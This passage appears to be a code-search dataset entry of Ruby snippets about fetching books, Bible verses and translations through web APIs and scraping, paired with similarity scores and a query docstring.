title)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "def book\n sql = \"SELECT * FROM books WHERE books.id = $1\"\n values = [@book_id]\n book_data = SqlRunner.run(sql, values)\n book = Book.map_items(book_data).first\n return book\n end", "def get(chapter, verse, lang=@default_lang)\n if verse.nil?\n raise \"Verse does not exist.\"\n end\n\n if verse < 1\n raise \"Verse does not exist.\"\n end\n\n verses = @languages[lang][chapter]\n\n if verses.nil?\n raise \"Chapter does not exist\"\n end\n\n row = verses[verse - 1]\n\n if row.nil?\n raise \"Verse does not exist.\"\n end\n\n return row\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', :response_group => 'Large,Reviews,Similarities' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return parse_item( item )\n end\n end", "def load_vocab_translations\n pp_nl_serialized = File.read(\"#{$filepath_nl}alle danyvertalingen qff export.json\")\n pp_nl = JSON.parse(pp_nl_serialized)\n\n #orgins of words: passaporte (and chapter) or other\n construct_book_origins(pp_nl[\"folders\"])\n \n #saving the words to the database with reference to passaporte_words\n pp_nl[\"words\"].each do |ppnl_line|\n word_pt_raw = ppnl_line[\"word\"]\n word_pt_split = Translation.split_article_front(word_pt_raw)\n word_pt = word_pt_split[:word]\n genre_pt = word_pt_split[:article]\n # puts \"for word_pt_split: #{word_pt_split}\"\n passaporte_found = passaporte_unit?(word_pt_split)\n # puts \"found?:\"\n # puts passaporte_found\n pt_translation = nil\n if !passaporte_found.nil?\n pt_transl = Translation.find_by word_pt:word_pt_split[:word], genre_pt:word_pt_split[:article]\n # puts pt_transl\n end\n # puts \"pt_transl:\"\n # puts pt_transl\n translation_array = ppnl_line[\"translations\"]\n save_nl_translation(word_pt, pt_transl, genre_pt,translation_array, ppnl_line[\"comments\"])\n end\nend", "def find_text(id)\n @bibliography[id]\n end", "def get_book\n @book = Book.where(id: params[:book_id]).first\n end", "def load_book\n @book = Book.find(params[:id])\n end", "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "def load_chapter\n end", "def get_book(book_isbn)\n plsql.books.first :book_isbn => book_isbn\n end", "def test_add_fetch_xlate\r\n @dict.add_translation(\"book\", \"boek\")\r\n book = @dict.translate(\"boek\")\r\n assert_equal \"book\", book, \"expected translation to be book\"\r\n end", "def get_book(search)\n\trequest_string = \"https://www.googleapis.com/books/v1/volumes?q=#{search.gsub(\" \",\"+\")}\"\n\t\n\tsample_uri = URI(request_string) #opens a portal to the data at that link\n\tsample_response = Net::HTTP.get(sample_uri) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response) #makes data easy to read\n\tsample_parsedResponse[\"items\"]\nend", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', \n :response_group => 'Large,Reviews,Similarities,AlternateVersions' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return Book.new( item )\n end\n return nil\n end", "def fetch_translation(to_translate, from, to, access_token)\n # API documentation:\n # http://msdn.microsoft.com/en-us/library/ff512421.aspx\n translation_uri = 'http://api.microsofttranslator.com/V2/Http.svc/Translate'\n\n uri = URI.parse(translation_uri)\n params = {\n :appId => '',\n :text => to_translate,\n :from => from,\n :to => to,\n :contentType => 'text/plain',\n }\n uri.query = URI.encode_www_form(params)\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field('Authorization', \"Bearer #{access_token}\")\n res = Net::HTTP.new(uri.host, uri.port).start do |http|\n http.request(request)\n end\n\n result = res.body\n result = result.gsub(/<string xmlns=\".*\">/, \"\")\n result = result.gsub(/<\\/string>/, \"\")\n result\n end", "def find_public_chapters\n # self.chapters.where(\"publish_date <= ?\", Date.today).where(status: 'published', language: 'en').order(chapter_number: :desc).limit(25)\n self.chapters.released.lang\n end", "def book_update\n if params[:token] != ENV['UPDATE_TOKEN']\n return render :text => 'nope'\n end\n\n lang = params[:lang]\n chapter = params[:chapter].to_i\n section = params[:section].to_i\n chapter_title = params[:chapter_title]\n section_title = params[:section_title]\n content = params[:content].force_encoding(\"UTF-8\")\n\n # create book (if needed)\n book = Book.where(:code => lang).first_or_create\n\n # create chapter (if needed)\n chapter = book.chapters.where(:number => chapter).first_or_create\n chapter.title = chapter_title\n chapter.save\n\n # create/update section\n section = chapter.sections.where(:number => section).first_or_create\n section.title = section_title\n section.html = content\n section.save\n\n render :text => 'ok'\n end", "def get(lang, term)\n query = \"#{lang}/#{term}\"\n @response = @conn.get query\n @response.body\n end", "def load_entry(locale, key)\n locale, key = locale.to_s, key.to_s\n data = self.find_all_by_locale_and_key(locale, key)\n result = {}\n data.each do |row|\n #only return the simple translation if one is set\n return row.text if row.pluralization_index.blank?\n result[row.pluralization_index.to_sym] = row.text\n end\n return result\n end", "def retrieve_bibtex\n\n @bibtex.key = self.accession_number\n @bibtex.title = self.title\n if self.bib_authors_list.length > 0\n @bibtex.author = self.bib_authors_list.join(' and ').chomp\n end\n @bibtex.year = self.publication_year.to_i\n\n # bibtex type\n _type = self.publication_type\n case _type\n when 'Academic Journal'\n @bibtex.type = :article\n @bibtex.journal = self.source_title\n if self.issue\n @bibtex.issue = self.issue\n end\n if self.volume\n @bibtex.number = self.volume\n end\n if self.page_start && self.page_count\n @bibtex.pages = self.page_start + '-' + (self.page_start.to_i + self.page_count.to_i-1).to_s\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n when 'Conference'\n @bibtex.type = :conference\n @bibtex.booktitle = self.source_title\n if self.issue\n @bibtex.issue = self.issue\n end\n if self.volume\n @bibtex.number = self.volume\n end\n if self.page_start && self.page_count\n @bibtex.pages = self.page_start + '-' + (self.page_start.to_i + self.page_count.to_i-1).to_s\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n if self.publisher_info\n @bibtex.publisher = self.publisher_info\n end\n if self.series\n @bibtex.series = self.series\n end\n when 'Book', 'eBook'\n @bibtex.type = :book\n if self.publisher_info\n @bibtex.publisher = self.publisher_info\n end\n if self.series\n @bibtex.series = self.series\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n if self.isbns\n @bibtex.isbn = self.isbns.first\n end\n else\n @bibtex.type = :other\n end\n @bibtex\n end", "def text( title, lang: Wikiscript.lang )\n ## todo/fix: convert spaces to _ if not present for wikipedia page title - why ?? why not ???\n\n ## note: replace lang w/ lang config if present e.g.\n ## http://{lang}.wikipedia.org/w/index.php\n # becomes\n # http://en.wikipedia.org/w/index.php or\n # http://de.wikipedia.org/w/index.php etc\n base_url = SITE_BASE.gsub( \"{lang}\", lang )\n params = { action: 'raw',\n title: title }\n\n get( base_url, params )\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q])\n rescue\n []\n end", "def get_translation \n if self.source_name == \"ENSEMBLPEP\"\n self.genome_db.connect_to_genome\n return Ensembl::Core::Translation.find_by_stable_id(self.stable_id)\n else\n return nil\n end\n end", "def book_mapping(book)\n title = book.title.downcase.gsub(/\\s+/, '')\n CONFIG[:sources][translation][:mappings][title] || title\n end", "def set_phrasebook\n @phrasebook = Phrasebook.find(params[:id])\n end", "def get_book_details(title)\n for book in @all_books\n return book if book[:title] == title\n end\n end", "def search_book_by_name(book)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{URI::encode(book)}&key=#{get_access_key}\"\n\tres = JSON.load(RestClient.get(url))\n return res\t\nend", "def main_translation\n translations.where(language: main_language).one\n end", "def find_book_by_title(title)\n for book in @books\n if book[:title] == title\n return book\n end\n end\n end", "def set_translation\n @translation = Translation.find(params[:id])\n end", "def return_book(title)\n # find book instance by title\n searched_book = Book.find_by(title: title)\n # change book.available to true\n searched_book.update_column(:available, true)\n # checks to see if title is in checkouts and .checked_out == true then changes checkout.checked_out to false\n self.checkouts.find{|checkout| checkout.book.title == title && checkout.checked_out == true}.update_column(:checked_out, false)\n end", "def find_book\n\t@book = Book.find(params[:id])\nend", "def set_stuk_book\n @stuk_book = StukBook.friendly.find(params[:id])\n end", "def lookup text\r\n result = self.class.get '/lookup', { query:{ key:@@api_key, lang:@@lang, text:text } }\r\n check_result result \r\n end", "def set_rus_translation\n @rus_translation = RusTranslation.find(params[:id])\n end", "def sru_response\n # Create bib record.\n title_str = OLE_QA::Framework::String_Factory.alphanumeric(12)\n author_str = OLE_QA::Framework::String_Factory.alphanumeric(14)\n today = Time.now.strftime('%Y%m%d-%H%M')\n bib_ary = [{\n :tag => '245',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + title_str\n },\n {\n :tag => '100',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + author_str\n }]\n bib_editor = OLE_QA::Framework::OLELS::Bib_Editor.new(@ole)\n bib_editor.open\n create_bib(bib_editor,bib_ary)\n query = \"title any #{title_str}\"\n filename = \"sru_perf-#{today}.xml\"\n get_sru_file(query,filename,@ole)\n records = get_marc_xml(filename)\n verify(5) {File.zero?(\"data/downloads/#{filename}\") == false}\n verify(5) {records.count == 1}\n end", "def find_book_by_title(book_title)\n books = @books\n for book in books\n if (book[:title] == book_title)\n return book\n end\n end\n return nil\n end", "def index\n @book = Book.find(params[:book_id])\n end", "def get_text(title)\n params = {\n action: 'query',\n prop: 'revisions',\n rvprop: 'content',\n titles: title\n }\n\n response = post(params)\n revid = response['query']['pages'].keys.find(MediaWiki::Constants::MISSING_PAGEID_PROC) { |id| id != '-1' }\n revision = response['query']['pages'][revid]\n revision['missing'] == '' ? nil : revision['revisions'][0]['*']\n end", "def get_po\r\n\r\n send_file(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\",\r\n :filename => \"#{APP_SID}.po\",\r\n :type => \"text/x-gettext-translation\")\r\n end", "def translation\n @translation ||= Mongify::Translation.parse(@translation_file)\n end", "def get_book_snippet(book)\nend", "def index\n @translations = TRANSLATION_STORE\n end", "def set_book\n @book = Book.find_by_slug(params[:slug])\n end", "def set_book\n @book = Book.find_by_slug(params[:id])\n end", "def get_book_title(book)\nend", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def book_info(book_title)\n for book in @books\n return book if book[:title] == book_title\n end\n return nil\n end", "def show\n \t@books = Book.find_all_by_title(params[:book_name])\n end", "def index\n @book = Book.find_by_asin(params[:id]) || AmazonCatalog.asinLookup(params[:id])\n end", "def find_by_trans(trans)\n @wordlist.invert[trans] if trans_exists?(trans)\n end", "def set_book\n @book = Book.friendly.find(params[:id])\n end", "def returnbook\n @books = Book.all \n end", "def get_books\n unless self.scraped\n page = Nokogiri::HTML(open(self.url), nil, \"iso-8859-1\")\n item_elements = page.css(\".g-span7when-wide\")\n item_elements.each do |item|\n book_data = {}\n book_data[:title] = item.at_css(\".a-link-normal\").text.strip\n book_data[:author] = item.at_css(\".a-size-small\").text.split(\"by\")[-1].strip\n book_data[:price] = item.at_css(\".a-color-price\").text.strip\n book_data[:price] = \"N/A\" unless book_data[:price].include?(\"$\")\n book_data[:asin] = item.at_css(\".a-link-normal\")[\"href\"].split(\"/\")[2].strip.split(\"?\")[0]\n self.books << Book.new(book_data)\n end\n self.last_scraped = Time.now\n self.scraped = true\n end\n end", "def show\n @translate\n @uploaded_text = ''\n translation_map = []\n end", "def first_book\n Book.find(:first)\n end", "def editable_list \n @translations = Translation.paginate(:page => params[:page], :per_page=>25) \n #puts \"@translations: \" + @translations.first.dot_key_code\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @translations }\n end\n end", "def return_user_books(input)\n @books = GoogleBooks::API.search(@input, :count => 5)\n @books.each do |book|\n if !(book.title.nil? || book.authors.nil? || book.publisher.nil?)\n puts book.title, book.authors, book.publisher, \"\\n\"\n end\n end\n\n def save_book_title\n puts \"If you would like to save a book to your reading list, please type the title of the book you'd like to save.\" .blue\n get_user_book_input(@input)\n book_input = @input\n if book_to_save = @books.find{|book| book.title == book_input }\n GoogleLib::Google_library.all << book_input\n else\n puts \"Please enter a valid title\"\n save_book_title\n end\n end\n end", "def get_translation(lang_code)\n # format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country lang_code\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language lang_code_cut\n return nil\n end\n\n # check if original text is in the new language\n unless original_text.nil?\n lang_code_original_cut = TranslationsHelper.cut_country original_text.lang_code\n\n if original_text.lang_code == lang_code\n return original_text.text\n elsif original_text.lang_code == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n elsif lang_code_original_cut == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_into_lang_code(lang_code)\n else\n add_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n\n return translate_into_lang_code(lang_code)\n else\n return trans.text\n end\n end", "def get_book(book_num)\n return @books_list[book_num]\n end", "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend", "def get_book\n return input_title = @inventory\n end", "def index\n @rus_translations = RusTranslation.all\n end", "def set_translation\n @translation = Translation.find(params[:id])\n end", "def set_book\n @book = current_author.books.friendly.find(params[:id])\n end", "def return_book_hash_simple(book_title_str)\n for book_hash in @books\n if book_hash[:title] == book_title_str\n return book_hash\n end\n end\n return \"The book is not available\"\n end", "def index\n default_q = {\n name_not_cont_all: (1..9).to_a.map { |i| [\"(#{i})\", \"(#{i})\", \"(0#{i})\", \"(0#{i})\"] }.flatten,\n press_not_cont_all: %w(東立 九星文化出版社 台灣角川股份有限公司 旺福圖書 N/A 銘顯文化事業有限公司 上海譯文出版社 明日工作室股份有限公司 橘子 十田十 青文出版社股份有限公司 尖端出版 龍吟ROSE 台灣東販股份有限公司 桔子),\n rate_gt: 4.5\n }\n @q = Book.enabled.ransack(params[:q])\n @books = params[:q] ? @q.result(distinct: true).page(params[:page]) :\n Book.enabled.ransack(default_q).result.page(params[:page]).order(publish_at: :desc)\n end", "def book\n @books=Book.all\n @book=Book.find(params[:id])\n end", "def set_lesson_translation # rubocop:disable Metrics/AbcSize\n @course = Course.find_by(:sequential_id => params[:course_id])\n @subject = @course.subjects.find_by(:sequential_id => params[:subject_id])\n @lesson = @subject.lessons.find_by(:sequential_id => params[:lesson_id])\n @lesson_translation = @lesson.lesson_translations.find_by(\n :sequential_id => params[:id]\n )\n end", "def fetch_translated_law\n\n con = Faraday.new\n\n res = con.post do |req|\n req.url 'https://api.deepl.com/v2/translate?auth_key='+ ENV[\"DEEPL_API\"],\n req.body = {text: self.name,\n target_lang: 'EN',\n source_lang: 'FR'\n }\n end\n self.translatedtext = JSON.parse(res.body)[\"translations\"][1][\"text\"]\n end", "def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end", "def perform(chapter)\n path = ActiveStorage::Blob.service.send(:path_for, chapter.chapter_file.key)\n all_strings = []\n f = IO.read(path, encoding: \"UTF-8\")\n text = JSON.parse(f)\n text['events'].each_with_index do |event, index|\n unless event.nil?\n event_id = index\n event['pages'].each do |page|\n page['list'].each do |i|\n # dialog codes MESSAGE = 401 CHOICE = 102 LOGIC_CHOISE = 402 FLOWING_STRING = 405\n if [401, 405].include?(i['code'])\n all_strings << [event_id, (i['parameters'][0].encode('utf-8').strip)]\n elsif i['code'] == 102\n i['parameters'][0].each do |str|\n all_strings << [event_id, str.encode('utf-8').strip]\n end\n elsif i['code'] == 402\n all_strings << [event_id, i['parameters'][1].encode('utf-8').strip]\n end\n end\n end\n end\n end\n # creating record Phrase.original\n phrases = []\n chapter.update_attribute(:phrases_count, all_strings.count)\n all_strings.each do |phrase|\n phrases << Phrase.new(original: phrase[1], chapter: chapter, event_id: phrase[0])\n end\n Phrase.import phrases\n end", "def odsa_books\n inst_books\n end", "def index\n @page_translations = PageTranslation.all\n end", "def display_resource(book)\n book.title\n end", "def translation\n if self.spellings.first\n self.spellings.first.name\n else\n \"\"\n end\n end", "def list_books_w_matching_title(title)\n books = @mybooks.get_books_by_title(title)\n\tbooks.each {|book| puts \"#{book[:key]} | #{book[:author]}, #{book[:title]}\"}\nend", "def localized_page\n\t\treturn @page if @page\n\t\tl = langtag(I18n.locale)\n\t\t\n\t\tWikipedia.Configure do\n\t\t\tdomain \"#{l}.wikipedia.org\"\n\t\t\tpath \"w/api.php\"\n\t\tend\n\t\tp = page\n\t\tif p == nil || p.content == nil\n\t\t\tlogger.debug \"defaulting to english\"\n\t\t\tWikipedia.Configure do\n\t\t\t\tdomain \"en.wikipedia.org\"\n\t\t\t\tpath \"w/api.php\"\n\t\t\tend\n\t\t\tp = page\n\t\telse\n\t\t\tlogger.debug \"sending translated\"\n\t\tend\n\t\t@page = p\n\t\t@page\n\tend", "def search_by_isbn(isbn, object = nil)\n\n return nil if (isbn = isbn.gsub(/-/,\"\")).nil?\n @client = HTTPClient.new\n @book_hash = std_entry\n @isbn = isbn\n \n ol_hash = search_open_library \n isbndb_hash = search_isbndb\n gb_hash = search_google_books\n @book_hash.each {|k,v|\n @book_hash[k] = ol_hash[k] if @book_hash[k].blank? \n }\n @book_hash.each {|k,v|\n @book_hash[k] = isbndb_hash[k] if @book_hash[k].blank? \n }\n @book_hash.each {|k,v|\n @book_hash[k] = gb_hash[k] if @book_hash[k].blank? \n }\n\n\n if !object.nil? and object.respond_to? :from_hash\n puts @book_hash.inspect\n object.from_hash(@book_hash)\n object\n else\n @book_hash\n end\n\n end", "def show\n use_tinymce(:simple)\n @chapter = Chapter.find(params[:id], :include => :parent)\n @book = @chapter.book\n redirect_to book_path(params[:book_id]) and return false unless @chapter\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chapter }\n end\n end", "def find book\n result = nil\n @books.each do |author, books|\n if books.include? book\n result = author\n end\n end\n if result\n puts result\n else\n puts \"No such book\"\n end\n end", "def show\r\n authorize! :read, Subject\r\n @subject = Subject.where(id: params[:id]).first\r\n @books = BookTitle.where(subject_id: @subject).all.order(:title)\r\n end", "def busqueda\n \t@pagadero = Payment.find_by_id(params[:id])\n \t# @imp = @pagadero.to_s\n end", "def translate(lang_from = @lang_from, lang_to = @lang_to, words)\n return [] if words.size == 0\n all_translated = [] #array of all translated words\n words.each_slice(800) do |slice| #slice into 1000 words doing >1000 runs into problems\n words_string = slice.join(\"&text=\")\n uri = \"https://translate.yandex.net/api/v1.5/tr.json/translate?key=APIkey&lang=FROM-TO&text=WORD\"\n uri = uri.sub(\"WORD\",words_string).sub(\"FROM\", lang_from).sub(\"TO\", lang_to).sub(\"APIkey\", @key)\n uri = URI.escape(uri) #escape unsafe characters in uri\n begin\n #puts uri\n #puts '****************************'\n json = open(uri).read #open uri of yandex translation\n rescue => e\n puts e.message\n end\n translated = JSON.parse(json)[\"text\"]\n #should probably check to make sure translated != nil\n if translated.nil?\n puts \"PROBLEM TRANSLATING - returned nil (URI may be too long)\"\n else\n all_translated += translated\n end\n end\n all_translated #return array of all translations\n end", "def fetch\n update_attributes(application.api_client.get(\n \"language/#{locale}/definition\", {},\n {\n cache_key: self.class.cache_key(locale)\n }\n ))\n rescue Tml::Exception => ex\n Tml.logger.error(\"Failed to load language: #{ex}\")\n self\n end", "def get_info_by_book_title(searched_title)\n if searched_title == @title\n return @inventory[0]\n else\n return nil\n end\n end", "def get_books()\n @books_out\n end", "def get_books()\n @books_out\n end" ]
[ "0.5988808", "0.5945534", "0.59305304", "0.5876004", "0.5778311", "0.5680672", "0.5604238", "0.5564696", "0.554178", "0.5504638", "0.5498646", "0.5491932", "0.54851973", "0.54801464", "0.54512465", "0.54212636", "0.54133594", "0.5410673", "0.5404049", "0.54003185", "0.5386227", "0.53823847", "0.5375461", "0.53736526", "0.534954", "0.53454304", "0.53411365", "0.53231996", "0.5317676", "0.5288881", "0.5280118", "0.52771175", "0.52532107", "0.5246978", "0.5235727", "0.5210176", "0.51952106", "0.5158173", "0.5154525", "0.51510847", "0.51464427", "0.5136179", "0.5135771", "0.51331174", "0.5128295", "0.5121172", "0.5105661", "0.5105369", "0.5105214", "0.5103817", "0.5100526", "0.50938696", "0.5083144", "0.50737184", "0.5058725", "0.5052623", "0.5050683", "0.5049585", "0.5049585", "0.50481856", "0.50317967", "0.50245", "0.5022916", "0.5022266", "0.5021248", "0.5018136", "0.5004662", "0.5003673", "0.49966225", "0.49960604", "0.4988429", "0.4983596", "0.4982335", "0.49770927", "0.49671075", "0.49597153", "0.4957819", "0.4948883", "0.49468267", "0.4941539", "0.49408624", "0.49367338", "0.49309298", "0.49307433", "0.4926661", "0.4922666", "0.49170986", "0.49050155", "0.49039114", "0.49000686", "0.48943692", "0.48929867", "0.48912767", "0.4888699", "0.4886246", "0.48831564", "0.4882916", "0.48797762", "0.48789847", "0.48789847" ]
0.48851603
95
Scrapes the verse text and creates the Bible::Verse. If the verse wasn't blank recoursively calls the function for scraping next verse
def scrape_verses(book, chapter, verse_number = 1) process_verse(book, chapter, verse_number) && scrape_verses(book, chapter, verse_number + 1) rescue OpenURI::HTTPError out false sleep(30) scrape_verses(book, chapter, verse_number) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def process_verse(book, chapter, verse_number)\n mapping = book_mapping(book)\n verse_text = scrape_verse(mapping, chapter, verse_number)\n out create_verse(book, chapter, verse_number, verse_text) if verse_text\n end", "def get_votd\n netbible_data = JSON.parse(HTTParty.get(URI))\n\n # use bookname from first verse -- assume votd won't span books\n bookname = netbible_data[0][\"bookname\"]\n\n # use chapter from first verse -- assume votd won't span chapters\n chapter = netbible_data[0][\"chapter\"]\n\n # loop through each verse to get the verse numbers and verse text\n verse_numbers = Array.new\n verses = Array.new\n netbible_data.each do |verse|\n verse_numbers << verse[\"verse\"]\n verses << verse[\"text\"]\n end\n\n # now build the reference\n @reference = \"#{bookname} #{chapter}:#{verse_numbers.join(\"-\")}\"\n\n # build the text\n text = Helper::Text.strip_html_tags(verses.join(\" \"))\n text = Helper::Text.clean_verse_start(text)\n text = Helper::Text.clean_verse_end(text)\n\n @text = text\n\n @version = BIBLE_VERSION\n @version_name = BIBLE_VERSION_NAME\n\n @link = generate_link(bookname, chapter, verse_numbers.first)\n\n rescue => e\n # use default info for VotD\n set_defaults\n # @todo Add logging\n end", "def get_votd\n parsed_feed = Nokogiri::XML(HTTParty.get(URI).body)\n cleaned_copyright = clean_copyright(parsed_feed.xpath(\"//copyright\").text)\n\n @reference = parsed_feed.xpath(\"//title\")[1].text\n @text = parsed_feed.xpath(\"//description\")[1].text\n @copyright = cleaned_copyright\n @link = parsed_feed.xpath(\"//guid\").text\n @version = BIBLE_VERSION\n @version_name = BIBLE_VERSION_NAME\n\n @text = Helper::Text.clean_verse_start(@text)\n @text = Helper::Text.clean_verse_end(@text)\n rescue => e\n # use default info for VotD\n set_defaults\n end", "def create_verse(book, chapter, verse_number, verse_text)\n Bible::Verse.create!({\n book: book,\n chapter: chapter,\n order: verse_number,\n text_translations: {\n translation => verse_text\n } \n })\n end", "def scrape_text\n\n end", "def scraper_nt\n url = 'https://www.biblegateway.com/versions/The-Living-Bible-TLB/#booklist'\n unparsed_page = HTTParty.get(url)\n parsed_page = Nokogiri::HTML(unparsed_page)\n book_lists_ot = parsed_page.css('tr.nt-book') #New testament Books\n\n new_testament_list = []\n new_testament_chapters = []\n book_lists_ot.each do |book_list| #Iterate through the book list\n \n ab = (book_list.css('td.book-name').text)\n nt_book = {\n name: ab.gsub(/\\d+$/, \"\"), #Strips out the one or more digits at end of line\n total_chapters: ab.gsub(/(^\\d)|\\D/, \"\").to_i #strips out the beginning numbers and letters, and converts to integer\n }\n book_chapter = book_list.css('td.chapters')\n\n book_chapter.each do |chapter|\n chapter_tag = chapter.css('a')\n\n chapter_tag.each do |tag|\n\n nt_chapter_list = {\n name: ab.gsub(/\\d+$/, \"\"), #Strips out the one or more digits at end of line\n title: tag.attributes[\"title\"].value,\n link: \"https://www.biblegateway.com\" + tag.attributes[\"href\"].value\n }\n new_testament_chapters << nt_chapter_list\n end\n end \n new_testament_list << nt_book\n\n \n end\n\n #/............................................................................../\n\n the_living_bible = []\n \n # new_testament_list.each do |book| #iterate through the list of books\n # # book[:name].each do |name| #find each book\n \n # chapter_count = 0\n # while chapter_count <= 1\n new_testament_chapters.each do |chapter|\n\n chapter_url = chapter[:link]\n chapter_unparsed_page = HTTParty.get(chapter_url)\n chapter_parsed_page = Nokogiri::HTML(chapter_unparsed_page)\n chapter_page_content = chapter_parsed_page.css('//span.text').text.gsub(/[0-9]+(-[0-9]+)|[0-9]+/, \"\\n\\n \\\\0\").gsub(/[*]/, \"\") #grab chapter text, add new line on each verse and remove special character\n \n chapter_page_header = chapter_parsed_page.css('//span.passage-display-bcv').text.gsub(/[0-9]{2}(-[0-9]{2})|[1-9]{2}/, \"\\\\0 \") #Grabs the Chapter Header\n \n chapter_content = {\n header: chapter_page_header,\n content: chapter_page_content\n }\n \n the_living_bible << chapter_content\n puts \"#{chapter[:title]} from link #{chapter[:link]} added to The Living Bible (New Testament)\"\n puts \"**************************************\"\n \n end \n # chapter_count += 1\n \n # end \n \n \n # end \n the_living_bible_pdf = Prawn::Document.new\n the_living_bible_pdf.font_size(40) {the_living_bible_pdf.text \"The Living Bible (New Testament)\"}\n the_living_bible.each do |the_bible|\n \n the_living_bible_pdf.font_families.update(\"Roboto\"=>{:normal =>\"fonts/Roboto/Roboto-Regular.ttf\"})\n the_living_bible_pdf.font \"Roboto\"\n\n the_living_bible_pdf.font_size(25) {the_living_bible_pdf.text \"#{the_bible[:header]}: \"}\n the_living_bible_pdf.move_down 20\n the_living_bible_pdf.text \"#{the_bible[:content]}\"\n the_living_bible_pdf.start_new_page\n \n end \n the_living_bible_pdf.move_down 100\n the_living_bible_pdf.font_size(9) {the_living_bible_pdf.text \"crawled from 'https://www.biblegateway.com' by Odogwudozilla\"}\n the_living_bible_pdf.render_file \"the_living_bible(NT).pdf\"\n puts \"**********The Living Bible (New Testament) crawled and created successfully**************\"\n \n \nend", "def search_for(verse)\n @query = {\n \"passage\" => verse\n }\n\n @results = self.class.get(\"#{@url}bible.php?\", :query => @query)\n\n @item = @results.parsed_response['bible']['range']['item']\n\n if @item.is_a? Array\n @text = @item.map do |item| \n \"#{item['verse']} #{item['text']} \\n\"\n end.join('')\n else\n @text = @item['text']\n end\n\n @text\n end", "def scrape_it\n \n end", "def scrape\n end", "def scrape\n @videos = []\n\n @search_result.search(\"//div[@class='vEntry']\").each do |video_html|\n video = Youtube::Video.new\n video.id = scrape_id(video_html)\n video.author = scrape_author(video_html)\n video.title = scrape_title(video_html)\n video.length_seconds = scrape_length_seconds(video_html)\n video.rating_avg = scrape_rating_avg(video_html)\n video.rating_count = scrape_rating_count(video_html)\n video.description = scrape_description(video_html)\n video.view_count = scrape_view_count(video_html)\n video.thumbnail_url = scrape_thumbnail_url(video_html)\n video.tags = scrape_tags(video_html)\n video.upload_time = scrape_upload_time(video_html)\n video.url = scrape_url(video_html)\n\n check_video video\n\n @videos << video\n end\n\n @video_count = scrape_video_count\n @video_from = scrape_video_from\n @video_to = scrape_video_to\n\n raise \"scraping error\" if (is_no_result != @videos.empty?)\n\n @videos\n end", "def scrape_appended_links\n File.open('Vanguard News.txt', 'w') do |f|\n f.write Time.now.to_s + \"\\n\"\n @vanguard_links.each do |single_page|\n new_link = HTTParty.get(single_page)\n document = Nokogiri::HTML(new_link.body)\n stop_value_index = document.css('p').find_index { |p| p.text.include?(@stop_sign) }\n # pry.bindings\n f.write '*************************' + \"\\n\"\n f.write document.css('.entry-title').first.text.upcase + \"\\n\"\n f.write document.css('p')[1..(stop_value_index - 1)].text + \"\\n\"\n f.write '*************************' + \"\\n\"\n end\n end\n end", "def proccess\n # data = get_data\n separate_bets\n end", "def initialize(verse)\n @the_verse = verse\n @planets = {}\n end", "def scrape_event(url)\n description=\"\"\n page = get_url_or_cache(url)\n description=page.css('p#bodytext').inner_text\n description+=' '+page.css('div#listing-details').inner_text.gsub('Details','')\n tmp=description.split\n description=\"\"\n tmp.each do |w|\n 